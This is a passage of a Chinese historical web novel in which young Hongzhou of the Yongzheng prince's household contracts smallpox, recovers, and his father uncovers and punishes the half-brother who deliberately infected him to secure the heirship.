“额娘你就放心吧。”弘昼笑道,“我几乎每日都和四哥在一起的,而且上书房按照年龄分开教的,同我们在一起念书的都是六岁的。况且上书房中大家都忙着念书习武,哪还有时间欺负别人。” 和弘旷那点不愉快最多算同窗之间的小摩擦,这就没有必要和额娘说了。 “那就好。”耿执羽抚了抚自己的胸口,终于略微放心了些。她对于入宫的印象还在小选的时候,那时候她是选进去做宫女的,周围有好相处的人,也有刁蛮的人。那些刁蛮人欺负人的法子,她现在都还记着。 这段日子她一直怕弘昼进宫会被欺负,怕他年纪小,在府中的时候又平素没什么争斗,进了宫就容易被那些教养得不好的孩子欺负。现在听到弘昼讲他平日里在上书房念书的事情,终于是放心了。 看着这母子俩说话,伏云和娑鸣立在一旁脸上带着笑意。 这一月间,虽说格格似乎和平常一样,经常去找钮祜禄格格说话。但能看出来两位格格有时候会心不在焉,不必想也知道是为何了,现在五阿哥回来了瞧着格格的精神气都不一样了。 聊了一会儿,外面的天就渐渐黑了,弘昼也到了要回前院休息的时候了。他们这些男孩子搬到前院后,一般是不会在额娘的院子过夜的。 耿执羽将弘昼送到了泗水院的门口,看着郑嬷嬷提着灯带着弘昼离去的背影越来越远。 “格格,咱们进去休息吧。”伏云在一边劝道,“咱们阿哥可是要在府中待两日呢,明日和后日都会过来的。” 耿执羽脸上带着笑:“你说的是,进去吧。对了,今儿弘昼是不是多动了那樱桃肉两筷子,明儿早点拿上银子去大厨房点了这道菜,让中午上上来。” “还是格格细心。” 弘昼回到了自己在前院的院子,这里一切和自己走时是一样的。虽说几位阿哥进宫念书了,但他们院中伺候的人还是依旧干着平日里的活计,甚至因为小主子不在更活计更轻松了些。 打了个哈欠,弘昼感受着困意袭来。其实平日里这个时候他多半已经躺在床上睡着了,今日从皇宫回来耽搁了点时间,阿玛考校功课和去额娘院子里用膳又耽搁了点时间。 这一个月养成的作息让他现在已经很困了,撑着眼睛洗漱准备睡觉,就听外面有人说四阿哥来了。 弘昼努力撑着眼睛:“四哥,你怎么这时候过来,不困吗?” 弘历的脸上也带了点疲惫,但见弘昼一副马上就要睡过去的样子还是笑出了声:“我来提醒你,咱们今儿没去给嫡额娘请安,明早可必须去了,记得不要起晚了。” 按照规矩来说,弘昼他们回府就应该第一个给四爷和福晋请安。但他们回来的时候都已经是下午过一会就要天黑了,没去给福晋请安也算勉强说得过去。若是明日再不去,就有点失礼了。 平日里嫡额娘对自己还不错,这点面子功夫弘昼还是愿意做的,他点了点头表示自己知道。 见弘昼一副困得马上就要睡过去的样子,弘历咽回了准备和弘昼说的话,起身告辞。 送走了四哥之后,弘昼就直奔自己大床。躺上。床后,他几乎一瞬间就睡着了。 第二日起来的时候,弘昼透过窗看着外面蒙蒙亮的天色,感受着睡了一个满足的觉后头脑清晰的感觉。 一觉睡*到天亮的感觉也太舒服了,这种躺在床上不用急匆匆起来去上书房的感觉也太迷人了。 想到今日要去给嫡额娘请安,弘昼还是从床上爬了起来。 这个时辰起床,他可以慢慢悠悠用过早膳后再慢慢去正院请安。太好了,终于不用紧赶慢赶还觉得自己没睡醒了。 用过早膳后,弘昼就往隔壁四哥的院子走去。 “今儿难得休沐,你竟然起这么早。”弘历此时正在用早膳,见弘昼过来有点诧异,“我还以为要等我用过早膳后过去揪你起床呢。” 弘昼无语,自己在四哥心里到底是个什么形象:“我平日里起得晚,是因为觉不够睡。昨日睡得早,又不需要丑时末就起床,睡足就自然就醒了。” “早膳用过了吗?”弘历问道。 弘昼很是自然地坐在弘历旁边:“已经用过了,专门过来等你的。” 即便旁边有一个人等待,但弘历的动作依旧是不紧不慢的。他算准了时间,用过早膳后去叫弘昼起床都不会去晚,现在自然更是不急。 田嬷嬷和郑嬷嬷站在一旁笑眯眯地看着两位小阿哥,她们是亲自带着这两位小阿哥长大的,早就将他们视为自己的子侄了。从前几乎日日都能相见,这一个月没见到不止后院的两位格格想念,其实她们也是想念的。 等四哥用过早膳后,一起前往了正院。这正院中坐着前来请安的后院女眷,无一缺席。 福晋笑眯眯地看着两个小孩子在下面给她请安,叫桂嬷嬷下去将他们扶起后道:“都是好孩子,在上书房中念书也辛劳,桂嬷嬷快去扶起来,嫡额娘知道你们有这份孝心。” 又夸了他们几句之后,便让他们退下了。 看着两位小阿哥的背影,年侧福晋微微垂了垂眸。她的女儿若是能养活,想来现在也是能走能跳的了,轻轻抚了抚自己的小腹,压下了心底的一抹苦涩。 从嫡额娘的正院出来后,弘昼就回去泗水院等着额娘回来。 但是等着等着弘昼就觉得自己的脑袋有点疼,症状并不算严重,他微微晃了晃脑袋后又觉得清醒了些。这是难得是能陪着额娘的时间,他也不想因为一点不舒服就去找大夫。 结果等耿执羽回到泗水院后,看着弘昼就皱了眉,随即摸了摸他的脑袋惊呼:“怎么这么烫?” 伏云和娑鸣也惊了,纷纷上前查看。 “快去禀了福晋找大夫。”耿执羽皱了眉,“弘昼你快去躺着,就在你原先住的东暖阁,那的摆设和从前一样的。” 弘昼茫然地摸了摸自己的头,他感觉不出来自己发烧了。 很快大夫就请了过来,福晋那边听说了之后一刻也不敢耽搁便命人拿了对牌去请了太医。 来者是位熟人,这位赵太医正好是上回弘昼发烧的时候前来诊治的。 赵太医一来就开始摸脉,再碰上弘昼的手腕片刻后,赵太医变了脸色:“这,这是出痘了。” 一句话,让屋内的众人都变了脸。 第72章 何时好 第72章 耿执羽骇得瞪大了眼:“太,太医可把准了?” 赵太医低头片刻后坚定点头道:“五阿哥这是出痘了。” 听到赵太医的话后,耿执羽险些没站稳,被伏云扶住了才勉强稳住身形。 在这个时代得了天花这样的病,能不能活下来就很看运气了。宫里宫外有不少孩子就是因为这个而去的,是以耿执羽在听到的那一刻才会这样恐慌。 很快的,这件事就被报到了正院福晋处。 彼时,福晋正在写字。写字能静心,福晋偶尔会用这样的方式来平静自己繁杂的内心。 听到下面人禀报后,福晋手中的毛笔在纸上画出了长长的一道,这件事大发了。 众所周知,天花这样的病是会传染的。弘昼刚从宫里出来就得了天花,他前面一个月中都待在上书房和阿哥所。 要知道在上书房中念书的,已经是康熙的绝大多数孙子了。若是经此一役而染病大半,那这京城都要抖上一抖。 “去,命人将泗水院围起来。”福晋放下手中的毛笔说道,“挑出过痘的侍女小厮去伺候五阿哥,把泗水院中的人都带出来。耿格格和伺候她的人暂且迁居到西边那小院,东西不可短缺了去。” “还有,这件事等爷回府的时候要第一时间禀报。泗水院中不论要什么东西,都要先给了再回来禀报。” 说完这些后,福晋站在原地想了想说道:“现在过去瞧瞧弘昼吧。” 桂嬷嬷有些不愿:“老奴前去瞧瞧就是了,福晋不必去了吧。” “我只去院子外头看看。”福晋冷静道,“嬷嬷不必担忧,我小时候是出过痘的,这你也知道。况且这样的大事,我不去看一眼,实在不放心。” 等来到了泗水院外,便看到了耿执羽失魂落魄地站在外面,瞧见福晋后急忙上前:“福晋,福晋让妾身进去照看弘昼吧。” 刚刚福晋的人过来,耿执羽本来是不愿意出来的。但还是娑鸣劝了几句,耿执羽才勉强到院子外头,只想着等会儿求了福晋的恩典再进去。 福晋的声音温和但坚决:“耿妹妹,我知道你现在着急。可你从前并未出过痘,这孩子出痘还有好的时候,但大人一旦出痘可就回天乏术了。若是到时候弘昼好起来了,瞧见额娘倒下了岂非让他着急?我自会拨靠得住的人进去照顾弘昼,你且放心就是了。” 见耿执羽还是不愿的样子,福晋思索片刻道:“你身边可有幼时出过痘的,也可拨进去伺候弘昼。” 虽说这些年来在府中自己并未和耿氏有过什么不愉快,但在这样的关头不信任也是常事,所以福晋并不在意这个。府中的孩子实在不多,她也想保住这个平日里瞧着还不错的孩子。 耿执羽的唇微微颤抖着,她很想自己进去,但她也知道自己进去后的危险要比弘昼的高多了。 “格格,”伏云开口了,“奴婢幼时出过痘,可以进去照看五阿哥。” 耿执羽的脸扭向了伏云,伸出手拉住她,声音颤抖:“伏云,你要替我照看好弘昼,你们一定要好好的出来。” “格格放心。” 见耿氏挑好了人,福晋便示意旁边的人带她进去。 玉池院的钮祜禄格格也得了消息,过来拉着耿执羽去她院中坐一会,在这院外头等着不是个事。 “额娘,”弘历看着惊慌的耿额娘,抿了抿唇后看向自家额娘悄悄问道,“出痘是什么,弟弟是生病了吗?” “弘昼是生病了。”钮祜禄格格摸着自己儿子的脑袋说道。 “是像上次发热一样的病吗?” “可能要比发热要严重一点,”钮祜禄格格微微蹲下身看着弘历说道,“你耿额娘担心弘昼,咱们弘历等会儿多陪陪耿额娘好不好,让她不要太担心弟弟。” 弘历郑重地答应道:“弟弟病了,我要帮弟弟照顾耿额娘。” 钮祜禄格格勉强笑了笑,夸了声好孩子。 弘昼也是她从小看到大的孩子,听到这个消息她也很是担忧。但瞧着耿妹妹已经有些撑不住了,她的担忧就不能表现出来了,否则耿妹妹岂非更加伤心害怕。 今日四爷回来的比平时早些,衙门没什么事情,他便想着回来在书房看看书。 这庄子里的菜已经许久未去瞧瞧了,虽说有佃农帮着照看,但不亲自去瞧瞧难免还是有些不放心。 这次去庄子就不必带着十三弟了,瞧着也不像是喜欢种田的样子。前两回带着,也是勉强了。 心里思索着自己的事,四爷回到了书房。 但刚到书房就看到了福晋派过来的人,他眉头微微蹙起。一般来说,若非有什么要事,福晋是不会派人过来找他的。 “爷,五阿哥出痘了。” 四爷原本轻松的神色一敛,瞬间沉了下来:“你说什么?” “方才五阿哥去瞧耿格格有些不舒服,便禀了福晋。福晋命人拿了对牌后去请了赵太医前来,太医诊了脉说五阿哥出痘了。” 四爷只觉得呼吸一滞,出痘这样的病,天下不知道有多少孩子死于这个了。他的弘昼一直以来身强体壮的,这次能熬过去吗? 苏培盛也悚然一惊,抬眼偷偷看了下自家主子的脸色。见他脸上神色冰冷,便立刻低下头去,只愿五阿哥能平安吧。爷这些年实在折了太多子嗣了,经受不起这样的折腾了。 * 外面是如何的兵荒马乱,弘昼是不知道的。 他原本只是觉得自己头有点疼,身上有点难受。但在额娘派人去请太医后,不知道为什么越来越难受了,躺在床上听着赵太医说出痘了眼神迷茫。 出痘是什么病? 后来听着赵太医和额娘的对话才明白,原来是天花。 什么?!天花! 弘昼微微睁大了眼睛,这个病他有点印象,古代是不是有个皇帝是因为这个死的。 这下子,弘昼脑子里只有一件事了,就是自己得了一个能死人的病。 随后便是听着嫡额娘派过来的人将里头的人都清走,弘昼用着有些混沌的脑子想着,天花是能传染的。现代的孩子们在小时候就接种疫苗了,但清朝没有这个条件让他接种疫苗,现在生病了也不知道能不能好。 嘶,脑子越来越疼了。 赵太医抹了抹额头上的汗水,幸而他幼时出过天花,现在才能这样淡定的给这位五阿哥看病。 天花这个病一般半个月内就能见分晓,要么死,要么好。这位弘昼阿哥从前身子一直很健康,只盼着最后是能好起来吧,不然雍亲王的愤怒他有点承受不了。 不多时,福晋拨过来的人就进了院子,打头的就是伏云。 伏云看着脸色绯红躺在床上的弘昼眼里闪过一抹心疼,仔细检查了一下发现弘昼的身上已经开始起一个个的小水痘了。 弘昼似乎是觉得有些痒,伸出手想要挠一挠。 但被伏云摁住了手,柔声说道:“阿哥,咱们不能挠,这个挠了日后就会留疤的,等会儿奴婢打了水来擦拭一遍就不会这么痒了。乖啊,咱们暂且忍忍。” 听见伏云这样说了,弘昼就收回了想要挠痒的手,勉强忍了忍。或许是因为身上实在太难受了,弘昼不多时就睡着了。 看了看五阿哥的睡颜,伏云微不可察的叹了口气,去寻了赵太医:“赵太医,您看我们阿哥这天花,您瞧着什么时候能好。” 赵太医正在修改方子,闻言无奈道:“伏云姑娘,这天花最多半月就能见分晓。至于什么时候好,老夫不敢开这个口,只能尽力罢了。” 第73章 罪魁祸首 第73章 生病是很难受的,弘昼躺在东暖阁内睁开眼看着床帐上熟悉图案,他曾在这间屋子睡了接近三年。 感受着头疼和身上酸疼并发,其中还有些水痘长出来后的痒意。弘昼只觉得无比怀念在上书房念书的时候,那时候虽然每日要早起,但身体是健康的,也没有这么不舒服。 生病没有精神,在这几日里连送到跟前的饭菜弘昼都吃不下。 赵太医在外间已经抠破了脑袋,他只觉得自己倒霉,怎么偏偏当值的时候遇上这件事。 倘若这位五阿哥不是在自己当值的时候生病,那他就不用在这里想破脑袋了,最重要的是本以为是过来医一个风寒。最后却变成了天花,天花这种病没有谁能断定自己一定能治好。 想着外头雍亲王那惯常冷着的脸,赵太医哆嗦了一下,更认真地看着自己手底下的方子。得尽全力保住这位五阿哥,自己日后还要在皇宫里讨生活呢。 里间的伏云摸了摸弘昼的脑袋,感受到掌心传来的高温皱了皱眉,之后用细棉布将弘昼身上擦拭了一遍,又在起了水痘的地方涂上了药膏。 这一趟下来后,伏云身上累出了细细密密的汗水。看着躺在床上迷迷糊糊的弘昼,不由得心疼起来。 她们家小阿哥从前就不常生病,如今这一回就糟了大罪。只盼着能平安好了,日后最好不要再生病了。 “在旁边守着要仔细,若是五阿哥有什么不舒服,或者其他什么就快些来禀报。”伏云嘱咐了一下守在床旁边的小丫鬟,走到外间找了赵太医。 “赵太医。”伏云进来后急匆匆行了礼说道,“阿哥又烧起来了,这反反复复的发热,究竟几时能好些。” “伏云姑娘稍安勿躁,”赵太医抬头无奈道,“这天花病发的时候就是会反反复复发热的,方才我去瞧的时候见阿哥身上已经起了许多水痘。只要能熬过这三四天,等水痘慢慢消下去了,便不会发热了。” 许多孩童都是熬不过这几日,赵太医也没有万全的把握能让弘昼熬过去。但这样的话也不能随意说,只是安抚了伏云几句。 伏云的性子有些急躁,但并非完全的不通世事。见赵太医这样说,也只能表示自己明白了,回去继续守着弘昼。 格格待她很好,自从跟着格格以后,她就没有再经受过从前那样的苦日子了。阿哥小时候也是她看到大的,不论是阿哥还是格格对她都很重要。在这样的关头,她定要好好照看阿哥,最好能还格格一个健健康康的阿哥。 * 虽说福晋给耿执羽指了一个小院做临时住宿,但看着耿执羽这失魂落魄的样子,钮祜禄格格便做主将耿执羽院中粗使丫鬟们派去了那个院子,但贴身伺候的都跟着耿执羽来了玉池院。 看着耿额娘脸色白成一片的样子,弘历很是懂事地说道:“耿额娘放心,弟弟吉人天相,一定不会有事的。” “是啊,”钮祜禄格格端起旁边的一杯温水,塞进了耿执羽的手中,摸到了她掌心的凉意皱着眉说道,“你也该保重身体,到时候弘昼好好的出来了,你这个额娘却又病了,岂不是让孩子悬心?赵太医在里头看着呢,伏云也在,你该放心才是。” 耿执羽勉强扯了扯嘴角,说了两句话,又闭口不言了。 说一千道一万,弘昼都是躺在里头,她这个做额娘的却只能在外头候着。现在她甚至有些怨恨为何自己年幼时没有得过天花,若是自己年幼时得过了,那便能进院子看着弘昼了。 钮祜禄格格知道现在耿执羽最需要的是安静,安慰了几句后便带着弘历退了出去,给耿执羽留下了一个安静的空间。 耿执羽初始只是呆呆地看着对面,过了一会儿后眼眶渐渐红了起来,小声哽咽着哭了出来。 四爷站在泗水院外,看着已经被福晋命人围起来的院子,周身的气压极低。 苏培盛小心地站在一旁观察着自家主子的表情,主子幼时也是得过天花的,但那时他还未曾跟着主子身旁。 等了一会后,四爷抬脚就要往里走。 苏培盛一惊,顾不得上下尊卑便扯住了四爷的胳膊:“爷,主子,这不能进去啊。” 四爷眉头微微蹙起,声音冷淡:“放手。” 苏培盛不仅没放,还拉得更紧了些,苦口婆心劝道:“五阿哥里头有赵太医照看着,定会转危为安的。但是爷您可不能进去啊,若是有个什么万一,那,那三阿哥和四阿哥日后的日子可怎么过。还有福晋和年侧福晋……” 虽然知道染过天花的并不会再染病,但谁能说没有个万一呢。苏培盛不敢想,若是自家主子进去了再染上病了,那他这个贴身伺候的人的下场会是怎样的。 这样想着,苏培盛拉着四爷的手更紧了些。一边劝着主子,一边给旁边的人使眼色去找福晋和年侧福晋来。 他只是个伺候人的,他的话在爷这里好使不到哪去。但是福晋和年侧福晋就不一样了,这么多年来爷待福晋很是敬重,这些年来待年侧福晋如珠如宝似的,这两位的劝话定能听得进去。 旁边的人收到了苏培盛的暗示,连忙跑着就去了正院和西侧院。 不多时,年侧福晋就到了。西侧院离泗水院要近些,她收到消息的第一刻就奔出来了,一路上小跑着如今到了便一直喘气。 “爷,”年侧福晋喘着气劝道,“爷,君子不立于危墙之下,五阿哥若是知晓肯定也是不愿意您进去的。若您当真不放心,不若妾身进去瞧瞧,也好教您安心。” 看到年侧福晋,四爷凉凉地看了眼苏培盛,听了她的话眼中浮现出一丝感动。清凝不愿叫他以身犯险,却愿意代替自己前去走这一趟。 说话间,福晋也从正院过来了,见到四爷便行礼口中劝阻的话也是脱口而出。 “古人云危邦不入,乱邦不居,如今弘昼身染天花,爷却执意进去,岂不知度德而处之,量力而行之的道理吗?况且您若是进去了,置弘昼于何地。” 这一大通的道理成功让四爷眼中的感动褪了下去,福晋还是那个福晋,很会劝阻人的福晋。 这两位到了,苏培盛悄悄放开了手,爷今日决计是进不去了。 果然,四爷左边是泪眼婆娑要替他进去的年侧福晋,右边是端肃着一张脸劝阻的福晋,直接打消了他想要进去瞧瞧弘昼的打算。 原本年侧福晋还想请四爷去西侧院,好好安慰一下的。但四爷心里念着弘昼,只想自己静静,便婉拒了后回了前院的书房。 坐在书案后,四爷拧着眉陷入了沉思。 弘昼是从皇宫回来后查出的天花,虽说也有孩子自己出花的,但大多数都是被别人的病气所过,进而染上天花的。 “苏培盛,”四爷突然出声,“去查查在上书房念书的那批孩子里,有没有在这两日出了花的。” 苏培盛应了之后很快就下去办事,四爷继续坐在书案后沉思。 他一贯是个多疑的人,更何况天花这样的病由不得他不多想。是不是老八他们想出来的什么新招数,倘若他绝嗣的话,汗阿玛绝对不会属意一个没有继承人的继承人。 之所以第一反应就想到老八,实在是四爷和这位八弟他们一伙斗了这么多年养出来的一点惯性了。只要身上发生了不好的事情,第一反应必然是老八他们干的。 当然,八爷他们但凡遇到事情,也会第一时间怀疑四爷。 有没有染病这件事很好打听,只需知道各府叫了大夫没有就行了。打听这么点东西,甚至不需要用到四爷的粘杆处。 不多时,苏培盛就带来了消息,各府没有找大夫的,也就是各位小阿哥的身体都很康健。 这个消息让四爷沉默了片刻,随即唤来了人查弘昼这两日所有接触到的人还有东西。若是有可疑的便继续查下去,他要将这条线都查清楚才能放心。 若是弘昼出花是意外也就罢了,若是旁人的算计,那只能希望算计之人能承受得住他的反击。 日子很快就到了弘历该回宫继续去上书房念书的日子了,因为弘昼出花了,所以这回去皇宫的便只有他和三哥两个人。 听见田嬷嬷提醒自己收拾东西去乘马车的地方等着了,弘历有些不愿:“可是弟弟还在病着呢,我不放心。” “你在这也帮不了你弟弟什么,”钮祜禄格格说道,“等过上几日,你弟弟病好了养好了身体也是要进宫去继续跟着先生念书的。况且你又没有生病,有什么理由不去呢?” 弘历噘着嘴有些不愿,他看着被围起来的院子,还有耿额娘的表现觉得这回弟弟生病并不是像从前受凉得了风寒一样,所以不愿意离开。但胳膊拧不过大。腿,最终还是被劝着来到了乘着马车的地方。 在乘马车的地方弘历却并没有看到三哥,而是见到了一个大夫打扮的人,那人给他摸了一下脉。弘历有点疑惑,问了后只得到了是阿玛吩咐的解释便不追问了,阿玛总有他的道理的。 看着车夫将套上马车请他上去,弘历疑惑:“三哥呢?” 弟弟病了不进宫,但是三哥并没有生病,自己不等他吗? 车夫答道:“这是爷身边的人来吩咐的,说是今日三阿哥有点事暂且不去宫里,只送四阿哥一人便是了。” 听着三哥也不用回去,弘历心不甘情不愿地坐上了马车去宫中。他很是疑惑,三哥为什么可以不用去呢。 而被弘历惦记着的三哥弘时,此时正站在四爷的书房中。 弘时跪在书房正中间,这书房中只有他和四爷两人。门被关上了,甚至连窗户都闭上了,屋内昏暗,让弘时看不清主位上阿玛的神情。 四爷坐在暗处,浑身散发着低气压,看着下手处跪着的弘时陷入了沉思。 弘时出生的那一年,正好是长子弘晖过世的时候,那时候弘昀尚在。因为长子的过世,四爷悲痛欲绝,把一腔的爱子之心都给了这个刚出生的孩子。因为想着,弘昀日后就是长子了,要鼎立家业,不能随意宠溺。 但是弘时是幼子,纵容些也无妨。 这样的宠爱维持到了弘时六岁,那年弘昀也去了。四爷看着这个小小的,连路都有些走不稳的孩子,收回了宠溺,开始做一个严父。 弘时其实从小就不算愚笨,甚至有些地方称得上是聪慧的。四爷严厉起来后,也在这个儿子身上看到了些潜力的。那段日子,四爷是真的把这个孩子当成未来的世子甚至是……来培养的。 但慢慢的,四爷发现这个孩子虽然念书上并不愚笨,但品行和行事上面出了大问题。原本立世子的奏折留在了书房中没有递上去,甚至听见李氏提出的立他为世子都大发雷霆。 四爷已经接受了这个孩子或许没有那么聪明,或许行事有些蠢,但他从未想过这个孩子竟然能狠毒成这样。 宫里伺候的太监宫女极多,这些人一旦生病就会被挪出去养病,怕病气过给了主子。只有养好了才能继续回去伺候,养不好就送去城外的乱葬岗。 是以宫外不远处有个专门给宫女太监养病的地方,那里主子们是不会去的,但下人们是能去的。 四爷在查到弘时身边的小太监在他出宫那日去过一趟那个养病所的时候就明白了一切,弘时小时候是出过花的,所以这样的东西带在身旁也不怕什么。而且,弘时这次的目标多半不只是弘昼,还有弘历。 只是弘历或许是运气好,又或许是身体好,并未染上。只有弘昼中了招,如今还躺在泗水院中不知情况。 想着泗水院中的弘昼,四爷看向下头跪着的弘时眼中更是多了一丝愤恨。当失望攒够了后,他便不想再给机会了。 这几年正是他的要紧时候,他如今在阿玛跟前很是得脸,并不想因为这样一个逆子承担任何的风险。 被阿玛叫来书房后就被命令跪着的弘时在下面惶惶不安,这书房里面的环境让他不安,阿玛刚刚冷漠的语气让他不安,现在阿玛一句话不说的样子让他更加不安了。 他做事这样隐秘,阿玛的手也没有长到能伸到宫里去,应当查不出什么吧。弘时这样在心中安慰着自己,阿玛一定查不到什么的,毕竟宫里又不是阿玛的地盘,还要惦记着万一皇玛法不悦呢。 这样想着,弘时觉得自己原本的慌乱似乎减轻了一点,在心里鼓起了勇气后开口:“阿,阿玛,儿子今儿还要去上书房念书呢。不知儿子是做错了什么,还请阿玛明示。” 听见下面的这个逆子开口了,四爷冷淡地看了他半晌开口:“你不知道?” 弘时的心脏开始狂跳,但嘴上还是说道:“儿子不知,还请阿玛明示。” “我以为你在叫你贴身伺候的人去拿那东西的时候,就该知道今日了。” 这句话一出,弘时的脸色瞬间就变了。深吸了两口气后努力维持镇定,假装自己什么都没有听出来,但声音已经开始颤抖了:“什,什么东西。” 四爷不说话了,只是冷淡地看着弘时,眼见弘时身体开始慢慢颤抖,脸上也蔓延上了绝望之色。心中满是不可置信,这些东西阿玛是怎么查到的。 第74章 病愈 第74章 置身在这样的环境中,弘时只觉得自己要窒息了。屋内又安静了下来,弘时感觉身边的每一缕空气似乎都在嘲笑自己。 嘲笑自己竟然这般没有手段,这种事都会被阿玛发现。 决定做这件事的时候,弘时是经过深思熟虑的。他不敢在皇宫里干出这样的事情,毕竟若将那东西带到皇宫里去了,上书房病倒的人就会不少,到时候皇玛法查起来了他定然难辞其咎。 于是他抓住了在马车的那一会儿,盼望着能让弘昼和弘历都染上。只要他成为独生子了,那阿玛不论心里怎么看不上他,但还是要立他为世子。日后的继承人也只会是他爱新觉罗弘时,而不是什么别人。 这样一本万利的事情,他没理由不去做。 空气里依旧蔓延着沉默,弘时终于受不住了,他脸上原本的惶恐和害怕接近褪。去,独留下癫狂。 “您知道了。”弘时没有继续想着否认,而是抬起头来仔仔细细地看着阿玛。 算不清有多久了,似乎是从二哥死的时候开始,弘时就再也没有直视过阿玛了。从前带他温和的阿玛,从那时候开始就只剩下了冷脸和教训。 那时候弘时年纪还不大,也不明白二哥的死意味着世子之位降临在自己头上了。他只是在为兄长的离去而难过,为阿玛突然变换的态度而惶惶不安。 后来他终于明白二哥的死意味着什么了,也开始想着要扛起长子的责任,做好雍亲王府世子该做的一切。但在这时候,阿玛却突然改了主意,并不想将世子之位给他了。 四爷看着弘时脸上的癫狂,眼中愈发冷漠:“这时候了,你还不觉得自己错了吗?” “我错了?”弘时笑出声来,笑声混合着他的眼泪一同掉了下来,“阿玛,为何这样偏心弘历和弘昼呢?若是没有他们,是不是你还能和从前一样看重我,是不是你属意的世子人选还会是我,若他们没了,是不是我就不用担心有人会威胁我的位置了。” 阿玛知道这个后,弘时知道自己一定是没有好日子过了,便也丝毫不遮掩心中的想法了。 “竟因这点事就手足相残。”四爷带着浓重的失望,“倘若你能做好身为长兄的职责,那这世子之位自然不会旁落他人。但你这些年,一桩桩一件件的事情,哪一件事是做好了的?” “跟着柳先生念书的时候不算精心,进了上书房后也不曾认真念书。骑射也不行,办事方面更是在外面被人当成傻子一样耍着玩。” 四爷在生气的时候,说出来的话不自觉就刻薄了起来:“就你这样的,别说是当亲王府的世子了,便是家中仅有一家铺子做家产,也要担心你是否能受得住。只怕东西刚传到你手上,三天就败光了。” “是,阿玛从我幼时就瞧不上我。”弘时咬着牙回道,“从前便拿大哥和二哥来压我,现在这两个小的长起来了便拿他们来对比我了。在阿玛心中,不论是谁都要比我好。” “这些难不成不是你自己做出来的事?”四爷心中怒火中烧,说出来的话也更加不近人情,“你这样猪狗不如的畜生,若非是托生在雍亲王府,在外头怕是连要饭都没这个本事。不仅你两个弟弟你比不上,上书房的那些堂兄弟你比得上哪个?哪怕是我养的狗也知道向着自家人,只你不知道。” 这一通骂完之后,四爷的心情略微平复了些,看着下面颓然跪着的弘时声音也恢复了冷静:“你日后就不必去上书房了,你额娘如今多病,便留在家中侍疾别出去了。” 将这个儿子放出去说不定后面还会引出祸患来,四爷并不准备让他出去了。关在家里找人好好教导,等到娶福晋的时候再看学得如何了。 拍了拍手,书房门被打开,四爷吩咐道:“将三阿哥带回他的院子去,不许出来。” 虽说弘时要留在家中,但四爷暂时不想看到这个糟心儿子。便直接让他禁足了,等日后学好点了再说放不放出来的事。 弘时被人拖着出去了,他的眼神看向四爷的时候眼底彻底没了之前的孺慕,取而代之的是一股怨恨。 * 大概在出花的第三天,弘昼脸上身上几乎遍布了水痘。这时候不论是脑袋疼还是身上的酸疼都比不过这个痒意,他脑海中只想伸出手抓一抓,让自己这些痒的地方稍微舒服一点。 伏云第一时间就发现了这个情况,她找了赵太医要了药膏抹上去后发觉起不了什么效果,便用了柔软的细棉布将弘昼的手缚住。 如果现在去挠这些出水痘的地方可能是会留疤的,身上其余的地方也就罢了,可这脸上不能出了差错。 这几日难受的不仅是在院子里生病的弘昼,还有院外的耿执羽和四爷。 虽说不能进来也帮不上什么忙,但四爷还是选择告假没去朝会。他心里烦乱,也确实不想这个时候去应付老八他们一群人。 大约四五日的时候,弘昼渐渐的不发热了,身上的水痘不再往外冒。只是这些原本就长出来的水痘变得极为红,瞧上去有点骇人。 又过了两三日,弘昼身上的水痘渐渐消下去了,留下了一个个的小红痕。赵太医瞧了之后放心道,这些等过上一段日子便一点痕迹也不会留下。 赵太医的手搭在弘昼的腕上,脸色渐渐松快了起来:“五阿哥的天花已经彻底好全了,只是这病来如山倒,病去如抽丝,何况这天花还不是一般的病。还是得好好养着身体,至少这一两月内不可劳累,好好养着身*体才能好全。” 伏云在一旁几乎要喜极而泣,这进来不过八。九日,可她几乎是瞧着弘昼慢慢出痘到现在痊愈的。短短的几日里,原本面色红润健康的伏云就变得脸色苍白,眼睛上有着一大块黑眼圈的模样。 “这个消息定能让格格安心。”伏云的声音带着哽咽,“我,我这就命人去开院子。” 五阿哥病愈这件事很快就传遍了府邸,耿执羽几乎是第一时间就奔回了泗水院瞧弘昼。 这些日子泗水院中凡是弘昼能接触到的东西都被送去烧了,屋里屋外都换了一通布置。 耿执羽到的时候弘昼还在睡,她坐在床边看着弘昼安静的睡颜。手指轻轻抚过了弘昼脸上的红痕,眼睛红红的似乎在下一刻就能落下泪来。 “格格,”娑鸣在一旁小声道,“阿哥都已经痊愈了,您别再伤心了。” 这几日耿执羽住在玉池院中,整日里都以泪洗面。她其实也不想在兮兰姐姐面前哭得这么惨的,但是就是控制不住,只要一想到自己的孩子在思慧生意中生死不知,她的心就宛如刀割。 钮祜禄格格对此并没有不耐烦,而是悉心安慰。她和耿妹妹这么多年的感情了,同是有孩子的人自然知道这刻她的心中有多难受。 耿执羽将自己眼角的泪水抹去,又看了一眼弘昼才出去。看见弘昼好端端躺在这里她就放心了,现在要出去问问赵太医还有些什么需要注意的。 赵太医给开了方子,又留下了不少嘱咐就离去了。在雍亲王府中待了这几日,他早就想回家了,现在这位五阿哥的病情终于好了,他也能脱身了。 不多时,得到消息的四爷就到了泗水院。 他进去看了一眼弘昼,弘昼依旧是在睡梦中的样子,在看见弘昼脸上的红痕后微微皱眉,随即又展开。如今这人没事就好了,只要人没事,其余的都是可以接受的。 这几天的思考中,四爷决定不将弘时做的事情告诉弘昼他们,但他会私下里补偿弘昼。弘时在他这里已经彻底踢出继承人的队列中,加上接下来几年的禁足,这个惩罚已经够重了。 虽然已经觉得这个惩罚够重了,但四爷在看见弘昼躺在床上的时候还是会想这对弘昼是不是不太公平。 立在床旁一会儿后,在四爷准备出去的时候,弘昼的眼睛微微颤动了一下。 睁开眼的时候弘昼感受着身上的轻松,这几日身上一直疼,脑袋都疼成浆糊了。像现在这样一身轻松的感觉,似乎已经是上辈子的事情了。 下一刻就看到了站在眼前的四爷,迟疑出声道:“阿,阿玛?” 四爷本来已经转身,听到这个声音转了回来,神色柔和了些:“身上可舒服了些。” 弘昼点了点头,看着阿玛问道:“四哥呢?” 这几日过得浑浑噩噩的,弘昼现在也不知道自己在泗水院中躺了几日。 “你四哥进宫了,”四爷坐在床边安抚道,“你且好好养身子,待身子好全了再想着念书的事情。太医说了,你的身子要慢慢养,这些日子就好好待在家中。” 依四爷对自家这个小儿子的了解,他并不是个一心念书的孩子。前几日刚从宫中回来的时候,那一肚子抱怨的样子就能看出他对宫里头念书时辰是一些不满的。所以让他休息些日子,也不会过分焦虑。 弘昼自然不会因为缺几天的课就焦虑,他只是微微点了点头又问了几个问题。四爷都一一答了,然后就看见弘昼脸上又起来了困倦之色。 